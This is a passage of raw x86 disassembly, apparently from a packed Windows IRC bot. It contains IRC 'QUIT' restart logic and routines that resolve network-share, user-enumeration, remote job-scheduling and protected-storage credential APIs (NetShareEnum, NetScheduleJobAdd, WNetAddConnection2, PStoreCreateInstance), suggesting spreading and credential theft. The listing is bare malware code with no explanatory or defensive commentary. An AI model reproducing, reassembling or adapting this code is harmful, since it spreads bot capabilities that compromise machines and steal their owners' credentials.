		mov	eax, [eax+4]
		push	dword ptr [eax+0B4h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+9Ch]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0A0h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0A8h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0ACh]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0A4h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B0h]
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	offset dword_41864C
		push	offset dword_41DB90
		call	sub_40D4AB
		add	esp, 48h


loc_4034D9:				; CODE XREF: sub_40332B+21j
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, 64h
		jz	short loc_4034ED
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax+4], 1
		jnz	short loc_403558


loc_4034ED:				; CODE XREF: sub_40332B+1B5j
		push	104h
		lea	eax, [ebp+var_10C]
		push	eax
		push	0
		call	dword_41708C
		push	eax
		call	dword_417090
		test	eax, eax
		jz	short loc_403545
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_10C]
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	dword_4171D0
		cmp	eax, 20h
		ja	short loc_403538
		push	offset aQuitExitting ; "QUIT :exitting"
		call	sub_40D6CB
		pop	ecx
		jmp	short loc_403543
; ---------------------------------------------------------------------------


loc_403538:				; CODE XREF: sub_40332B+1FEj
		push	offset aQuitRestarting ; "QUIT :restarting"
		call	sub_40D6CB
		pop	ecx


loc_403543:				; CODE XREF: sub_40332B+20Bj
		jmp	short loc_403550
; ---------------------------------------------------------------------------


loc_403545:				; CODE XREF: sub_40332B+1DFj
		push	offset aQuitRestarting ; "QUIT :restarting"
		call	sub_40D6CB
		pop	ecx


loc_403550:				; CODE XREF: sub_40332B:loc_403543j
					; DATA XREF: sub_43A34F+121w ...
		push	0
		call	dword_41705C


loc_403558:				; CODE XREF: sub_40332B+1C0j
					; DATA XREF: sub_43A34F+F8r
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 80000003h
		jnz	short loc_403583
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		mov	eax, [eax+0B8h]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+4]
		mov	[ecx+0B8h], eax
		or	eax, 0FFFFFFFFh
		jmp	short locret_403586
; ---------------------------------------------------------------------------


loc_403583:				; CODE XREF: sub_40332B+238j
		push	1
		pop	eax

locret_403586:				; CODE XREF: sub_40332B+256j
		leave
		retn
sub_40332B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403588	proc near		; DATA XREF: sub_403BD3:loc_403D85o

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= dword	ptr -2Ch
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		cmp	[ebp+arg_8], 0
		jz	short loc_4035E2


loc_403594:				; DATA XREF: sub_43A34F+106r
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4035BB
		mov	eax, [ebp+arg_8]


loc_4035A0:				; DATA XREF: sub_43BFC6+BDr
		cmp	dword ptr [eax+4], 2


loc_4035A4:				; DATA XREF: .RLPack:0043AB92r
		jz	short loc_4035BB
		push	273Fh
		call	dword_417234
		mov	eax, 273Fh
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_4035BB:				; CODE XREF: sub_403588+13j
					; sub_403588:loc_4035A4j
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+8], 1
		jz	short loc_4035E2


loc_4035C4:				; DATA XREF: sub_43C502+13r
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+8], 2
		jz	short loc_4035E2
		push	273Ch
		call	dword_417234


loc_4035D8:				; DATA XREF: sub_43A34F+248r
					; .RLPack:0043AC0Ar
		mov	eax, 273Ch
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_4035E2:				; CODE XREF: sub_403588+Aj
					; sub_403588+3Aj ...
		cmp	[ebp+arg_0], 0
		jnz	loc_4036D6
		push	30h
		call	sub_416B46
		pop	ecx


loc_4035F4:				; DATA XREF: sub_43AB4D+2Dr
		mov	[ebp+var_34], eax
		cmp	[ebp+var_34], 0
		jnz	short loc_40360D
		push	8
		call	dword_417234
		push	8
		pop	eax
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_40360D:				; CODE XREF: sub_403588+73j
		push	30h
		push	0
		push	[ebp+var_34]
		call	sub_416B6A
		add	esp, 0Ch
		push	10h
		push	0
		lea	eax, [ebp+var_30]
		push	eax
		call	sub_416B6A
		add	esp, 0Ch
		mov	[ebp+var_30], 2
		cmp	[ebp+arg_4], 0
		jz	short loc_40364C
		push	[ebp+arg_4]
		call	sub_416B9C
		pop	ecx
		push	eax
		call	dword_417238
		mov	[ebp+var_2E], ax


loc_40364C:				; CODE XREF: sub_403588+AEj
		mov	eax, [ebp+var_34]
		mov	dword ptr [eax+4], 2
		cmp	[ebp+arg_8], 0
		jz	short loc_403667
		mov	eax, [ebp+arg_8]
		mov	eax, [eax+8]
		mov	[ebp+var_38], eax
		jmp	short loc_40366E
; ---------------------------------------------------------------------------


loc_403667:				; CODE XREF: sub_403588+D2j
		mov	[ebp+var_38], 1


loc_40366E:				; CODE XREF: sub_403588+DDj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_38]
		mov	[eax+8], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_403688
		mov	eax, [ebp+arg_8]
		mov	eax, [eax+0Ch]
		mov	[ebp+var_3C], eax
		jmp	short loc_40368F
; ---------------------------------------------------------------------------


loc_403688:				; CODE XREF: sub_403588+F3j
		mov	[ebp+var_3C], 6


loc_40368F:				; CODE XREF: sub_403588+FEj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_3C]
		mov	[eax+0Ch], ecx
		mov	eax, [ebp+var_34]
		mov	dword ptr [eax+10h], 10h
		mov	eax, [ebp+var_34]
		add	eax, 20h
		mov	ecx, [ebp+var_34]
		mov	[ecx+18h], eax
		and	[ebp+var_2C], 0
		push	10h
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+var_34]
		add	eax, 20h
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_34]
		mov	[eax], ecx
		xor	eax, eax
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_4036D6:				; CODE XREF: sub_403588+5Ej
		push	[ebp+arg_0]
		call	dword_41723C
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_4036F2
		mov	eax, 2AFBh
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_4036F2:				; CODE XREF: sub_403588+15Ej
		and	[ebp+var_20], 0
		jmp	short loc_4036FF
; ---------------------------------------------------------------------------


loc_4036F8:				; CODE XREF: sub_403588+18Cj
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax


loc_4036FF:				; CODE XREF: sub_403588+16Ej
		cmp	[ebp+var_14], 0
		jz	short loc_403716
		mov	eax, [ebp+var_14]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_20]
		cmp	dword ptr [eax+ecx*4], 0
		jz	short loc_403716
		jmp	short loc_4036F8
; ---------------------------------------------------------------------------


loc_403716:				; CODE XREF: sub_403588+17Bj
					; sub_403588+18Aj
		cmp	[ebp+var_20], 0
		jnz	short loc_403726
		mov	eax, 2AFBh
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_403726:				; CODE XREF: sub_403588+192j
		mov	eax, [ebp+var_20]
		imul	eax, 30h
		push	eax
		call	sub_416B46
		pop	ecx
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jnz	short loc_40374C
		push	8
		call	dword_417234
		push	8
		pop	eax
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_40374C:				; CODE XREF: sub_403588+1B2j
		mov	eax, [ebp+var_20]
		imul	eax, 30h
		push	eax
		push	0
		push	[ebp+var_1C]
		call	sub_416B6A
		add	esp, 0Ch
		push	10h
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B6A
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		cmp	[ebp+arg_4], 0
		jz	short loc_403790
		push	[ebp+arg_4]
		call	sub_416B9C
		pop	ecx
		push	eax
		call	dword_417238
		mov	[ebp+var_E], ax


loc_403790:				; CODE XREF: sub_403588+1F2j
		and	[ebp+var_18], 0
		jmp	short loc_40379D
; ---------------------------------------------------------------------------


loc_403796:				; CODE XREF: sub_403588:loc_4038A7j
		mov	eax, [ebp+var_18]
		inc	eax
		mov	[ebp+var_18], eax


loc_40379D:				; CODE XREF: sub_403588+20Cj
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_20]
		jnb	loc_4038AC
		cmp	[ebp+arg_8], 0
		jz	short loc_4037B9
		mov	eax, [ebp+arg_8]
		mov	eax, [eax]
		mov	[ebp+var_40], eax
		jmp	short loc_4037C0
; ---------------------------------------------------------------------------


loc_4037B9:				; CODE XREF: sub_403588+225j
		mov	[ebp+var_40], 4


loc_4037C0:				; CODE XREF: sub_403588+22Fj
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_40]
		mov	[ecx+eax], edx
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		mov	dword ptr [ecx+eax+4], 2
		cmp	[ebp+arg_8], 0
		jz	short loc_4037F1
		mov	eax, [ebp+arg_8]
		mov	eax, [eax+8]
		mov	[ebp+var_44], eax
		jmp	short loc_4037F8
; ---------------------------------------------------------------------------


loc_4037F1:				; CODE XREF: sub_403588+25Cj
		mov	[ebp+var_44], 1


loc_4037F8:				; CODE XREF: sub_403588+267j
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_44]
		mov	[ecx+eax+8], edx
		cmp	[ebp+arg_8], 0
		jz	short loc_403819
		mov	eax, [ebp+arg_8]
		mov	eax, [eax+0Ch]
		mov	[ebp+var_48], eax
		jmp	short loc_403820
; ---------------------------------------------------------------------------


loc_403819:				; CODE XREF: sub_403588+284j
		mov	[ebp+var_48], 6


loc_403820:				; CODE XREF: sub_403588+28Fj
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_48]
		mov	[ecx+eax+0Ch], edx
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		mov	dword ptr [ecx+eax+10h], 10h
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		lea	eax, [ecx+eax+20h]


loc_40384E:				; DATA XREF: sub_43BFC6r
					; .RLPack:0043C12Br ...
		mov	ecx, [ebp+var_18]
		imul	ecx, 30h
		mov	edx, [ebp+var_1C]
		mov	[edx+ecx+18h], eax
		mov	eax, [ebp+var_14]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_18]
		mov	eax, [eax+ecx*4]
		mov	eax, [eax]
		mov	[ebp+var_C], eax
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		lea	eax, [ecx+eax+20h]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		cmp	[ebp+var_18], 0
		jz	short loc_4038A7
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		add	ecx, eax
		mov	eax, [ebp+var_18]
		dec	eax
		imul	eax, 30h
		mov	edx, [ebp+var_1C]
		mov	[edx+eax+1Ch], ecx


loc_4038A7:				; CODE XREF: sub_403588+304j
		jmp	loc_403796
; ---------------------------------------------------------------------------


loc_4038AC:				; CODE XREF: sub_403588+21Bj
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_1C]
		mov	[eax], ecx
		xor	eax, eax

locret_4038B6:				; CODE XREF: sub_403588+2Ej
					; sub_403588+55j ...
		leave
		retn	10h
sub_403588	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4038BA	proc near		; DATA XREF: sub_403BD3+1BCo

var_434		= dword	ptr -434h
var_430		= byte ptr -430h
var_410		= dword	ptr -410h
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 434h
		cmp	[ebp+arg_8], 0
		jnz	short loc_4038CF
		cmp	[ebp+arg_10], 0
		jz	short loc_4038D8


loc_4038CF:				; CODE XREF: sub_4038BA+Dj
		mov	eax, [ebp+arg_18]
		and	al, 0E0h
		test	eax, eax
		jz	short loc_4038ED


loc_4038D8:				; CODE XREF: sub_4038BA+13j
		push	2726h
		call	dword_417234
		mov	eax, 2726h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_4038ED:				; CODE XREF: sub_4038BA+1Cj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_40C], eax
		mov	eax, [ebp+var_40C]
		movsx	eax, word ptr [eax]
		cmp	eax, 2
		jz	short loc_403919
		push	273Fh
		call	dword_417234
		mov	eax, 273Fh
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403919:				; CODE XREF: sub_4038BA+48j
		cmp	[ebp+arg_8], 0
		jz	loc_403ABA
		mov	eax, [ebp+var_40C]
		push	dword ptr [eax+4]
		call	dword_41721C
		mov	[ebp+var_434], eax
		cmp	[ebp+var_434], 0
		jnz	short loc_403949
		or	eax, 0FFFFFFFFh
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403949:				; CODE XREF: sub_4038BA+85j
		push	401h
		push	[ebp+var_434]
		lea	eax, [ebp+var_404]


loc_40395A:				; DATA XREF: sub_43BFC6+51r
					; sub_43C502+25r
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp+arg_18]
		and	eax, 2
		test	eax, eax
		jz	short loc_403972
		jmp	loc_403BB4
; ---------------------------------------------------------------------------


loc_403972:				; CODE XREF: sub_4038BA+B1j
					; DATA XREF: .RLPack:0043BE24r	...
		mov	eax, [ebp+arg_18]
		and	eax, 4
		test	eax, eax


loc_40397A:				; DATA XREF: sub_43C098+22w
					; sub_43C1BC+2D1r
		jz	short loc_4039F4
		push	0


loc_40397E:				; DATA XREF: sub_43A34F+CAw
					; sub_43A34F+DAw ...
		push	4
		mov	eax, [ebp+var_40C]


loc_403986:				; DATA XREF: .RLPack:0043B92Dw
					; .RLPack:0043BD72r ...
		add	eax, 4
		push	eax


loc_40398A:				; DATA XREF: .RLPack:0043BA4Fw
					; .RLPack:0043BB4Aw ...
		call	dword_417220
		mov	[ebp+var_410], eax


loc_403996:				; DATA XREF: .RLPack:loc_43B805r
		cmp	[ebp+var_410], 0
		jnz	short loc_4039AA
		call	dword_417224
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_4039AA:				; CODE XREF: sub_4038BA+E3j
					; DATA XREF: sub_43B4CA+8w ...
		mov	eax, [ebp+var_410]
		push	dword ptr [eax]


loc_4039B2:				; DATA XREF: sub_43A34F+4Br
		call	sub_416B40
		pop	ecx
		inc	eax
		cmp	eax, [ebp+arg_C]
		jbe	short loc_4039D3


loc_4039BE:				; DATA XREF: sub_43BF49-8Er
		push	2747h
		call	dword_417234
		mov	eax, 2747h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_4039D3:				; CODE XREF: sub_4038BA+102j
		push	401h
		mov	eax, [ebp+var_410]
		push	dword ptr [eax]
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		jmp	loc_403ABA
; ---------------------------------------------------------------------------


loc_4039F4:				; CODE XREF: sub_4038BA:loc_40397Aj
		mov	eax, [ebp+arg_18]
		and	eax, 1
		test	eax, eax
		jz	loc_403A92
		mov	eax, [ebp+var_40C]
		cmp	dword ptr [eax+4], 7F000001h
		jz	short loc_403A1D
		mov	eax, [ebp+var_40C]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_403A92


loc_403A1D:				; CODE XREF: sub_4038BA+155j
		push	0
		push	4
		mov	eax, [ebp+var_40C]
		add	eax, 4
		push	eax
		call	dword_417220
		mov	[ebp+var_410], eax
		cmp	[ebp+var_410], 0
		jnz	short loc_403A4B
		call	dword_417224
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403A4B:				; CODE XREF: sub_4038BA+184j
		mov	eax, [ebp+var_410]
		push	dword ptr [eax]
		call	sub_416B40
		pop	ecx
		inc	eax
		cmp	eax, [ebp+arg_C]
		jbe	short loc_403A74
		push	2747h
		call	dword_417234
		mov	eax, 2747h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403A74:				; CODE XREF: sub_4038BA+1A3j
		push	401h
		mov	eax, [ebp+var_410]
		push	dword ptr [eax]
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		jmp	short loc_403ABA
; ---------------------------------------------------------------------------


loc_403A92:				; CODE XREF: sub_4038BA+142j
					; sub_4038BA+161j ...
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416B40
		pop	ecx
		inc	eax
		cmp	eax, [ebp+arg_C]
		jbe	short loc_403ABA
		push	2747h
		call	dword_417234
		mov	eax, 2747h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403ABA:				; CODE XREF: sub_4038BA+63j
					; sub_4038BA+135j ...
		cmp	[ebp+arg_10], 0
		jz	loc_403B99
		push	8
		pop	eax
		test	eax, eax
		jz	short loc_403B2C
		push	0Ah
		lea	eax, [ebp+var_430]
		push	eax
		mov	eax, [ebp+var_40C]
		mov	ax, [eax+2]
		push	eax
		call	dword_417238
		movzx	eax, ax
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_416B40
		pop	ecx
		inc	eax
		cmp	eax, [ebp+arg_14]
		jbe	short loc_403B19
		push	2747h
		call	dword_417234
		mov	eax, 2747h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403B19:				; CODE XREF: sub_4038BA+248j
		lea	eax, [ebp+var_430]
		push	eax
		push	[ebp+arg_10]
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_403B99
; ---------------------------------------------------------------------------


loc_403B2C:				; CODE XREF: sub_4038BA+20Fj
		mov	eax, [ebp+arg_18]
		and	eax, 10h
		neg	eax
		sbb	eax, eax
		and	eax, offset aUdp ; "udp"
		push	eax
		mov	eax, [ebp+var_40C]
		movzx	eax, word ptr [eax+2]
		push	eax
		call	dword_417228
		mov	[ebp+var_408], eax
		cmp	[ebp+var_408], 0
		jnz	short loc_403B61
		or	eax, 0FFFFFFFFh
		jmp	short locret_403BB9
; ---------------------------------------------------------------------------


loc_403B61:				; CODE XREF: sub_4038BA+2A0j
		mov	eax, [ebp+var_408]
		push	dword ptr [eax]
		call	sub_416B40
		pop	ecx
		inc	eax
		cmp	eax, [ebp+arg_14]
		jbe	short loc_403B87
		push	2747h
		call	dword_417234
		mov	eax, 2747h
		jmp	short locret_403BB9
; ---------------------------------------------------------------------------


loc_403B87:				; CODE XREF: sub_4038BA+2B9j
		mov	eax, [ebp+var_408]
		push	dword ptr [eax]
		push	[ebp+arg_10]
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_403B99:				; CODE XREF: sub_4038BA+204j
					; sub_4038BA+270j
		cmp	[ebp+arg_8], 0
		jz	short loc_403BB0
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+arg_8]
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_403BB0:				; CODE XREF: sub_4038BA+2E3j
		xor	eax, eax
		jmp	short locret_403BB9
; ---------------------------------------------------------------------------


loc_403BB4:				; CODE XREF: sub_4038BA+B3j
		jmp	loc_403A92
; ---------------------------------------------------------------------------

locret_403BB9:				; CODE XREF: sub_4038BA+2Ej
					; sub_4038BA+5Aj ...
		leave
		retn	1Ch
sub_4038BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403BBD	proc near		; DATA XREF: sub_403BD3+1C6o

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0
		jz	short loc_403BCF
		push	[ebp+arg_0]
		call	sub_416B4C
		pop	ecx


loc_403BCF:				; CODE XREF: sub_403BBD+7j
		pop	ebp
		retn	4
sub_403BBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403BD3	proc near		; CODE XREF: .packed:loc_4168BCp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	offset aKernel32_dll ; "kernel32.dll"
		call	dword_417054
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_403C00
		push	offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount"
		push	[ebp+var_C]
		call	dword_417058
		mov	dword_41DF20, eax


loc_403C00:				; CODE XREF: sub_403BD3+18j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	dword_417054
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jz	loc_403CC3
		push	offset aNetusegetinfo ;	"NetUseGetInfo"
		push	[ebp+var_14]
		call	dword_417058
		mov	dword_41DF28, eax
		push	offset aNetuseadd ; "NetUseAdd"
		push	[ebp+var_14]
		call	dword_417058
		mov	dword_41DF2C, eax
		push	offset aNetusedel ; "NetUseDel"
		push	[ebp+var_14]
		call	dword_417058
		mov	dword_41DF30, eax
		push	offset aNetuserenum ; "NetUserEnum"
		push	[ebp+var_14]
		call	dword_417058
		mov	dword_41DF34, eax
		push	offset aNetshareenum ; "NetShareEnum"
		push	[ebp+var_14]
		call	dword_417058
		mov	dword_41DF38, eax
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	[ebp+var_14]
		call	dword_417058
		mov	dword_41DF3C, eax
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	[ebp+var_14]
		call	dword_417058
		mov	dword_41DF40, eax
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	[ebp+var_14]
		call	dword_417058
		mov	dword_41DF44, eax
		push	offset aNetaddalternat ; "NetAddAlternateComputerName"
		push	[ebp+var_14]
		call	dword_417058
		mov	dword_41DF48, eax


loc_403CC3:				; CODE XREF: sub_403BD3+3Fj
		push	offset aMpr_dll	; "mpr.dll"
		call	dword_417054
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_403D23
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	[ebp+var_8]
		call	dword_417058
		mov	dword_41DF4C, eax
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	[ebp+var_8]
		call	dword_417058
		mov	dword_41DF50, eax
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	[ebp+var_8]
		call	dword_417058
		mov	dword_41DF54, eax
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	[ebp+var_8]
		call	dword_417058
		mov	dword_41DF58, eax


loc_403D23:				; CODE XREF: sub_403BD3+102j
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	dword_417054
		mov	[ebp+var_4], eax
		push	offset aGetaddrinfo ; "getaddrinfo"
		push	[ebp+var_4]
		call	dword_417058
		mov	dword_41DF64, eax
		push	offset aGetnameinfo ; "getnameinfo"
		push	[ebp+var_4]
		call	dword_417058
		mov	dword_41DF68, eax
		push	offset aFreeaddrinfo ; "freeaddrinfo"
		push	[ebp+var_4]
		call	dword_417058
		mov	dword_41DF6C, eax
		cmp	dword_41DF64, 0
		jz	short loc_403D85
		cmp	dword_41DF68, 0
		jz	short loc_403D85
		cmp	dword_41DF6C, 0
		jnz	short loc_403DA3


loc_403D85:				; CODE XREF: sub_403BD3+19Ej
					; sub_403BD3+1A7j
		mov	dword_41DF64, offset sub_403588
		mov	dword_41DF68, offset sub_4038BA
		mov	dword_41DF6C, offset sub_403BBD


loc_403DA3:				; CODE XREF: sub_403BD3+1B0j
		push	offset aPstorec_dll ; "pstorec.dll"
		call	dword_417054
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_403DCA
		push	offset aPstorecreatein ; "PStoreCreateInstance"
		push	[ebp+var_10]
		call	dword_417058
		mov	dword_41DF60, eax


loc_403DCA:				; CODE XREF: sub_403BD3+1E2j
		push	offset aWininet_dll ; "wininet.dll"
		call	dword_417054
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jz	short locret_403DF1
		push	offset aInternetgetcon ; "InternetGetConnectedStateExA"
		push	[ebp+var_18]
		call	dword_417058
		mov	dword_41DF5C, eax

locret_403DF1:				; CODE XREF: sub_403BD3+209j
		leave
		retn
sub_403BD3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403DF3	proc near		; DATA XREF: sub_403FE5+89o

var_1228	= dword	ptr -1228h
var_1224	= byte ptr -1224h
var_1200	= byte ptr -1200h
var_11DC	= byte ptr -11DCh
var_11B8	= dword	ptr -11B8h
var_11B4	= dword	ptr -11B4h
var_11B0	= dword	ptr -11B0h
var_11AC	= byte ptr -11ACh
var_11A6	= byte ptr -11A6h
var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1228h
		call	sub_416BC0
		push	1ADh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_11B0]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C
		pop	ecx
		push	1
		lea	eax, [ebp+var_11AC]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_11B4],	eax
		cmp	[ebp+var_11B4],	0
		jnz	short loc_403E52
		push	[ebp+var_11B0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_403FE1
; ---------------------------------------------------------------------------


loc_403E52:				; CODE XREF: sub_403DF3+4Aj
		lea	eax, [ebp+var_11AC]
		push	eax
		mov	eax, [ebp+var_11B0]
		push	dword ptr [eax]
		push	offset dword_4189C4
		lea	eax, [ebp+var_11A6]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_403E75:				; CODE XREF: sub_403DF3+BDj
					; sub_403DF3+10Fj ...
		push	3E8h
		push	[ebp+var_11B4]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp+var_11B8],	eax
		mov	eax, [ebp+var_11B0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_403EA2
		cmp	[ebp+var_11B8],	0
		jnz	short loc_403EA7


loc_403EA2:				; CODE XREF: sub_403DF3+A4j
		jmp	loc_403FC7
; ---------------------------------------------------------------------------


loc_403EA7:				; CODE XREF: sub_403DF3+ADj
		cmp	[ebp+var_11B8],	0FFFFFFFFh
		jnz	short loc_403EB2
		jmp	short loc_403E75
; ---------------------------------------------------------------------------


loc_403EB2:				; CODE XREF: sub_403DF3+BBj
		push	1000h
		lea	eax, [ebp+var_1000]
		push	eax
		push	[ebp+var_11B8]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp+var_1228],	eax
		cmp	[ebp+var_1228],	0
		jz	short loc_403EF6
		cmp	[ebp+var_1228],	0FFFFFFFFh
		jz	short loc_403EF6
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_416B40
		pop	ecx
		cmp	eax, 10h
		jbe	short loc_403F07


loc_403EF6:				; CODE XREF: sub_403DF3+E6j
					; sub_403DF3+EFj
		push	[ebp+var_11B8]
		call	sub_40538D
		pop	ecx
		jmp	loc_403E75
; ---------------------------------------------------------------------------


loc_403F07:				; CODE XREF: sub_403DF3+101j
		movsx	eax, byte_41EFA8
		test	eax, eax
		jz	short loc_403F27
		push	offset byte_41EFA8
		lea	eax, [ebp+var_1224]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_403F57
; ---------------------------------------------------------------------------


loc_403F27:				; CODE XREF: sub_403DF3+11Dj
		lea	eax, [ebp+var_1200]
		push	eax
		lea	eax, [ebp+var_1224]
		push	eax
		lea	eax, [ebp+var_11DC]
		push	eax
		call	sub_40668F
		add	esp, 0Ch
		lea	eax, [ebp+var_1224]
		push	eax
		push	offset byte_41EFA8
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


